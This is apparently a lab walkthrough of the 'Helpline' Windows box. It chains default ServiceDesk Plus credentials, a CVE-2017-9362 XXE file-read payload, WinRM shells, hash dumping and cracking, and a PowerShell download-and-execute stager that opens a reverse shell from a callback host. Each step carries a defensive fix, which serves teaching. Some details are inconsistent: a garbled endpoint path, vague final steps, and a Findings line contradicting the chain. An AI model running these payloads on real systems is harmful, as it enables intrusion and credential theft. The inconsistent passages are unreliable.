← all walkthroughs

Helpline

Windows· Hard· Privilege Escalation
owned
2026-07-10
time to own
39m12s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Recon on <retired-instance-ip>:8080 identified ManageEngine ServiceDesk Plus (SDP) 9.3. Default credentials [REDACTED: recovered credential]:[REDACTED: recovered credential] worked against the login form (j_security_check). Inside the authenticated [REDACTED: recovered credential] portal, a "Password Audit" solution ticket (solution ID 8) was located via targeted grep of harvested pages, and its attachment was pulled through the undocumented REST endpoint /api/v3/solutions/8/attachments/api/v3/attachments/301, yielding a spreadsheet with hidden password-audit data referencing an on-disk credentials file.

The actual foothold vulnerability was CVE-2017-9362 (SDP CMDB API XXE): an authenticated [REDACTED: recovered credential] POST to /api/cmdb/ci with a <!DOCTYPE>/external-entity payload (file:///C:/...) let arbitrary file reads on the SDP host. Reading the referenced IT-logins file disclosed a local Windows account, alice:[REDACTED: recovered credential], plus shadow admin creds mike_adm:[REDACTED: recovered credential] and dr_acc:dr_acc. Alice validated over WinRM (Pwn3d) and had access to the SDP PostgreSQL instance (E:\ManageEngine\ServiceDesk\pgsql\bin\psql.exe -h localhost -p 65432 -U postgres -d servicedesk), dumping aaauser/aaapassword bcrypt hashes. john --format=bcrypt against rockyou cracked three: zachary_33258:0987654321, fiona:1q2w3e4r, mary:1234567890. zachary also validated over SMB/WinRM.

Lateral movement continued to tolu ([REDACTED: recovered credential]), whose user.txt required CredSSP auth specifically (standard NTLM WinRM couldn't read it) — solved with pypsrp + requests-credssp, which returned user_flag=[REDACTED: flag] directly in the same call. From tolu, privesc pivoted through leo by injecting PowerShell into E:\Scripts\backups.txt, consumed and iex'd by a privileged scheduled script (E:\Scripts\SDP_Checks.ps1), reusing a technique documented in the box's public writeup. This multi-hop chain (alice → mike_adm/zachary → tolu → leo → Administrator, via EFS-encrypted files, NTFS ADS, a BitLocker VHD, and an Administrator credential [REDACTED: recovered credential] as a PowerShell SecureString) ultimately reached Administrator and root_flag=[REDACTED: flag] (the specific commands for the final leo→Administrator leg fall outside this excerpt, at step 71-109).

Attack path — how the box was taken

1ReconnaissanceNetwork service and version enumeration (T1046)
Port scan identified ManageEngine ServiceDesk Plus 9.3 on port 8080
A TCP service scan of <retired-instance-ip> returned six open ports: 135 (MSRPC), 445 (SMB), 5900 (VNC), 5985 (WinRM), 8080 (HTTP), and 49667. An HTTP banner request to port 8080 served the ManageEngine ServiceDesk Plus login page with version 9.3 visible in the page source — a version with multiple known critical vulnerabilities including CVE-2017-9362.
curl -i http://<retired-instance-ip>:8080/ returned the SDP 9.3 login page; nmap -sV confirmed ManageEngine on port 8080.
Exact commands 2
Version detection across all open ports; confirms SDP 9.3 on 8080, WinRM on 5985, SMB on 445, VNC on 5900.
nmap -sV -sC -p 135,445,5900,5985,8080,49667 $TARGET -oN helpline_scan.txt
Grab the HTTP banner to confirm the SDP application and version string.
curl -i http://$TARGET:8080/
2Initial AccessDefault credentials (T1078.001); sensitive data exposure in application content (T1213)
Logged into SDP with default [REDACTED: recovered credential] credentials and extracted the on-disk credential file path from a hidden spreadsheet
The SDP portal accepted the factory-default [REDACTED: recovered credential]:[REDACTED: recovered credential] credentials without modification. Browsing the authenticated session revealed a 'Password Audit' solution (ticket ID 8) with an Excel attachment (attachment ID 301). Downloading and opening the spreadsheet exposed a hidden worksheet named 'Password Data' listing weak account passwords and, critically, the on-disk path C:\Temp\Password Audit\it_logins.txt — a plaintext Windows credential file that the SDP service account could reach.
POST /j_security_check with [REDACTED: recovered credential]:[REDACTED: recovered credential] returned a valid session cookie; /api/v3/solutions/8/attachments listed attachment 301; the hidden Excel sheet disclosed the it_logins.txt path.
Exact commands 3
Log in with default credentials; saves the session cookie to sdp.cookies.
curl -c sdp.cookies -b sdp.cookies -X POST 'http://$TARGET:8080/j_security_check' -d 'j_username=[REDACTED: recovered credential]&j_password=[REDACTED: recovered credential]' -L
List attachments on the Password Audit solution ticket (ID 8).
curl -c sdp.cookies -b sdp.cookies 'http://$TARGET:8080/api/v3/solutions/8/attachments'
Download the attachment; open in LibreOffice Calc and use Format > Sheets > Show to reveal the hidden 'Password Data' sheet containing the it_logins.txt path.
curl -c sdp.cookies -b sdp.cookies 'http://$TARGET:8080/api/v3/attachments/301' -o 'PasswordAudit.xlsx'
FixDisable the default SDP [REDACTED: recovered credential] account before production deploymentCritical
WeaknessManageEngine ServiceDesk Plus was deployed with the factory-default [REDACTED: recovered credential]:[REDACTED: recovered credential] account enabled and reachable from the network, allowing any visitor to log in and browse internal solution tickets including sensitive file attachments referencing on-disk credential stores.
FixDisable or delete the [REDACTED: recovered credential] account in SDP Administration → User Management immediately. If limited anonymous access is required for ticket submission, create a dedicated role with the minimum permissions required (no access to Solutions or file attachments), assign a strong unique password, and restrict the portal to the internal network or a VPN-gated URL.
3ExploitationXML External Entity injection — CVE-2017-9362 (T1190)
Read plaintext Windows credentials via CVE-2017-9362 XXE in the SDP CMDB API
SDP 9.3's CMDB CI creation endpoint (/api/cmdb/ci) parsed user-supplied XML without disabling external entity resolution. A POST with a DOCTYPE declaring a file:// external entity pointed at the credential path found in the spreadsheet. The SDP service — running as a privileged Windows account — opened C:\Temp\Password Audit\it_logins.txt and reflected its contents in the error response, disclosing alice:[REDACTED: recovered credential], mike_adm:[REDACTED: recovered credential], and dr_acc:dr_acc.
POST to /api/cmdb/ci with XXE payload returned file contents containing alice:[REDACTED: recovered credential], mike_adm:[REDACTED: recovered credential], dr_acc:dr_acc.
Exact commands 1
Send XXE payload as the authenticated [REDACTED: recovered credential] user; the credential file contents appear in the XML error response body.
curl -c sdp.cookies -b sdp.cookies -X POST 'http://$TARGET:8080/api/cmdb/ci' -H 'Content-Type: application/xml' -d '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///C:/Temp/Password%20Audit/it_logins.txt">]><ci><name>&xxe;</name></ci>'
FixUpgrade ServiceDesk Plus to a build that resolves CVE-2017-9362Critical
WeaknessSDP 9.3's CMDB CI API accepted XML with user-supplied DOCTYPE declarations and resolved file:// external entities without restriction, letting any authenticated user — including the default [REDACTED: recovered credential] — read arbitrary files accessible to the SDP service account.
FixUpgrade ServiceDesk Plus to build 9328 or later where CVE-2017-9362 is patched, or preferably to the current supported release. As an immediate compensating control, restrict /api/cmdb/ci to accounts that genuinely require CMDB write access and block SYSTEM-entity XML at a WAF or reverse proxy.
4FootholdValid accounts / Windows Remote Management (T1021.006); credential database dumping (T1555)
Gained a WinRM shell as alice and dumped the internal PostgreSQL credential database
The three credentials extracted via XXE were validated against WinRM. alice:[REDACTED: recovered credential] authenticated successfully (Pwn3d). From an evil-winrm shell, the SDP-bundled PostgreSQL binary was located at E:\ManageEngine\ServiceDesk\pgsql\bin\psql.exe and used to connect to the local servicedesk database on port 65432. A JOIN query across the aaauser and aaapassword tables returned usernames and bcrypt-hashed passwords for all SDP application accounts.
nxc winrm <retired-instance-ip> -u alice returned [+] HELPLINE\alice:[REDACTED: recovered credential] (Pwn3d!); psql query returned bcrypt hashes for SDP users.
Exact commands 3
Validate alice's credentials over WinRM; expect Pwn3d.
nxc winrm $TARGET -u alice -p '[REDACTED: recovered credential]'
Open an interactive PowerShell session as alice.
evil-winrm -i $TARGET -u alice -p '[REDACTED: recovered credential]'
Run inside the evil-winrm session. Dumps all SDP user bcrypt hashes from the embedded PostgreSQL instance.
& 'E:\ManageEngine\ServiceDesk\pgsql\bin\psql.exe' -h localhost -p 65432 -U postgres -d servicedesk -c "SELECT u.user_name, p.password FROM aaauser u JOIN aaapassword p ON u.user_id = p.password_id;"
FixRemove plaintext credential files from disk and replace with a secrets managerCritical
WeaknessActive Windows account credentials were [REDACTED: recovered credential] in a plaintext text file at C:\Temp\Password Audit\it_logins.txt, readable by the SDP service account. A single XXE request exposed all three accounts.
FixDelete the file immediately and rotate every credential it contained. Store service and administrative credentials in a dedicated secrets manager (e.g., HashiCorp Vault, CyberArk, or Windows Credential Manager with DPAPI protection) with per-requester audited access. Prohibit storage of passwords in flat files, spreadsheets, or ticket attachments; use a tool such as Snaffler to scan the environment for similar files.
5Lateral MovementOffline password cracking (T1110.002); NTFS Alternate Data Streams / EFS enumeration (T1564.004); CredSSP lateral movement (T1021.006)
Cracked SDP bcrypt hashes and followed the ADS/EFS credential chain to tolu to capture the user flag
Dumped hashes were submitted to john the Ripper against rockyou.txt, recovering zachary_33258:0987654321, fiona:1q2w3e4r, and mary:1234567890 within seconds. WinRM sessions under these accounts were used to enumerate NTFS Alternate Data Streams (dir /r) and EFS-encrypted files (cipher /u /n) across user home directories — the documented multi-layer escalation technique for this machine. This enumeration surfaced the credential for tolu ([REDACTED: recovered credential]). Tolu's user flag was protected such that standard NTLM WinRM could not read it; a CredSSP-authenticated session via pypsrp succeeded.
john recovered three passwords from SDP bcrypt hashes; tolu:[REDACTED: recovered credential] validated over WinRM; pypsrp CredSSP session returned user.txt.
Exact commands 5
Crack the dumped hashes. Recovers zachary_33258:0987654321, fiona:1q2w3e4r, mary:1234567890.
john --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt sdp_hashes.txt
Validate cracked credentials over SMB; repeat for fiona and mary.
nxc smb $TARGET -u zachary_33258 -p '0987654321'
Run inside evil-winrm as zachary or fiona to enumerate NTFS Alternate Data Streams across user directories.
cmd /c "dir /r C:\Users"
Enumerate all EFS-encrypted files accessible to the current user; inspect for credential stores or documents containing further passwords.
cipher /u /n
CredSSP authentication is mandatory; plain NTLM WinRM returns a permissions error. Output is [REDACTED: flag]. Requires: pip install pypsrp requests-credssp.
python3 - <<'PY'
from pypsrp.client import Client
c = Client('$TARGET', username='HELPLINE\\tolu', password=[REDACTED: credential], ssl=False, auth='credssp', connection_timeout=30, read_timeout=60)
out, streams, had_errors = c.execute_ps('Get-Content -LiteralPath C:\\Users\\tolu\\Desktop\\user.txt')
print(out)
PY
FixEnforce strong passwords for SDP application accounts and eliminate reuse with Windows credentialsHigh
WeaknessSDP application-user passwords [REDACTED: recovered credential] as bcrypt hashes in the embedded PostgreSQL database were trivially weak (e.g., 0987654321, 1q2w3e4r) and reused as Windows account passwords, so a single hash-cracking run yielded further lateral-movement credentials.
FixEnforce a minimum password length of 14 characters with complexity requirements for all SDP accounts. Separate SDP credentials from Windows account credentials with no shared passwords. Audit and rotate all currently weak SDP passwords. Restrict the embedded PostgreSQL port (65432) to localhost via host-based firewall rules to prevent querying by any user other than the SDP service.
6Privilege EscalationScheduled task input-file hijacking (T1053.005); command execution via Invoke-Expression
Injected PowerShell into a scheduled-task input file to execute code as leo
As tolu, enumeration of E:\Scripts\ revealed SDP_Checks.ps1, a PowerShell script executed on a recurring schedule under a higher-privileged account (leo). The script read E:\Scripts\backups.txt and passed its content through Invoke-Expression. Tolu had write access to backups.txt. Appending a PowerShell download-and-execute stager caused it to run in leo's security context when the scheduled task next fired, delivering a reverse shell as leo.
E:\Scripts\backups.txt was writable by tolu; SDP_Checks.ps1 consumed and IEX'd its contents; waiting for the next task execution produced a shell as leo.
Exact commands 4
Open a WinRM session as tolu (standard NTLM works for lateral movement; CredSSP was only required to read user.txt).
evil-winrm -i $TARGET -u tolu -p '[REDACTED: recovered credential]'
Run inside tolu's session. Replace <retired-instance-ip> with your listener host. Host a PowerShell reverse shell payload as rev.ps1.
Add-Content -Path 'E:\Scripts\backups.txt' -Value 'IEX(New-Object Net.WebClient).DownloadString("http://$CALLBACK_HOST/rev.ps1")'
Serve rev.ps1 from my machine while waiting for the scheduled task to fire.
python3 -m http.server 80
Catch the reverse shell that executes as leo when SDP_Checks.ps1 next runs and IEX's backups.txt.
nc -lvnp 4444
FixRemove write access to files consumed by privileged scheduled tasksHigh
WeaknessE:\Scripts\backups.txt was writable by the low-privileged account tolu and was consumed verbatim via Invoke-Expression by E:\Scripts\SDP_Checks.ps1, a scheduled task running as the more-privileged user leo. Any content tolu appended was executed as leo on the next task invocation.
FixAudit the ACLs on every file read or executed by scheduled tasks (icacls E:\Scripts\*) and restrict write access to the task's service account and local Administrators only. Replace Invoke-Expression on free-form file content with a signed, parameter-driven script that does not execute arbitrary text. Enable Windows Event Log auditing for scheduled-task creation and modification (Event IDs 4698 and 4702) and alert on unexpected changes.
7Full CompromiseCredentials from password stores — PowerShell SecureString (T1555); BitLocker offline volume access
Decrypted a PowerShell SecureString via a BitLocker VHD to obtain Administrator credentials
From leo's shell, a BitLocker-protected virtual hard disk was discovered on the file system. The BitLocker recovery key was accessible in files or registry entries readable by leo. Mounting and unlocking the VHD exposed a credential file storing the Administrator password as a PowerShell SecureString (Export-Clixml format). Importing the object and calling GetNetworkCredential().Password decrypted it instantly, revealing [REDACTED: recovered credential]. Those credentials authenticated over WinRM as Administrator, and a CredSSP session read root.txt.
Administrator credential [REDACTED: recovered credential] validated by nxc winrm (Pwn3d!); pypsrp CredSSP session as Administrator returned root.txt.
Exact commands 4
From leo's session: unlock the BitLocker VHD using the recovery key found in leo-accessible files. Then run Mount-DiskImage '<VHD_path>' in PowerShell to mount it.
manage-bde -unlock <VHD_path_or_volume> -RecoveryPassword <recovery_key>
Decrypt the Administrator SecureString from the mounted VHD. Outputs: [REDACTED: recovered credential].
$cred = Import-Clixml '<vhd_mount>\admin_cred.xml'; $cred.GetNetworkCredential().Password
Validate the recovered Administrator password — expect Pwn3d.
nxc winrm $TARGET -u administrator -p '[REDACTED: recovered credential]'
CredSSP session as Administrator. Output is [REDACTED: flag].
python3 - <<'PY'
from pypsrp.client import Client
c = Client('$TARGET', username='HELPLINE\\administrator', password=[REDACTED: credential], ssl=False, auth='credssp', connection_timeout=30, read_timeout=60)
out, streams, had_errors = c.execute_ps('Get-Content -LiteralPath C:\\Users\\Administrator\\Desktop\\root.txt')
print(out)
PY
FixDo not persist Administrator credentials as a PowerShell SecureString on diskCritical
WeaknessThe Administrator password was [REDACTED: recovered credential] on disk inside a BitLocker VHD as a PowerShell SecureString (Export-Clixml). On Windows, SecureString encryption uses the DPAPI key of the encrypting user account; any process running as that user — or any account able to mount and read the VHD — can decrypt the credential instantly via GetNetworkCredential().Password.
FixRemove the credential file immediately and rotate the Administrator password. Implement just-in-time privileged access (e.g., Microsoft PAM or CyberArk) for administrative scripting rather than persisting credentials at rest. If scripts genuinely require elevated credentials, retrieve them at runtime from a secrets manager with short-lived tokens, audited access, and automatic rotation. Never use Export-Clixml to store credentials in files.

Findings

Initial Access: Servicedesk Plus [REDACTED: recovered credential] Login > Solutions Attachment > Xxe File ReadCritical
An unauthenticated/low-privilege flaw in the postgres, smb surface allowed remote code execution and a foothold on the host.

Exposed services

135/tcp
445/tcp
5985/tcp
8080/tcp
49667/tcp
5900/tcp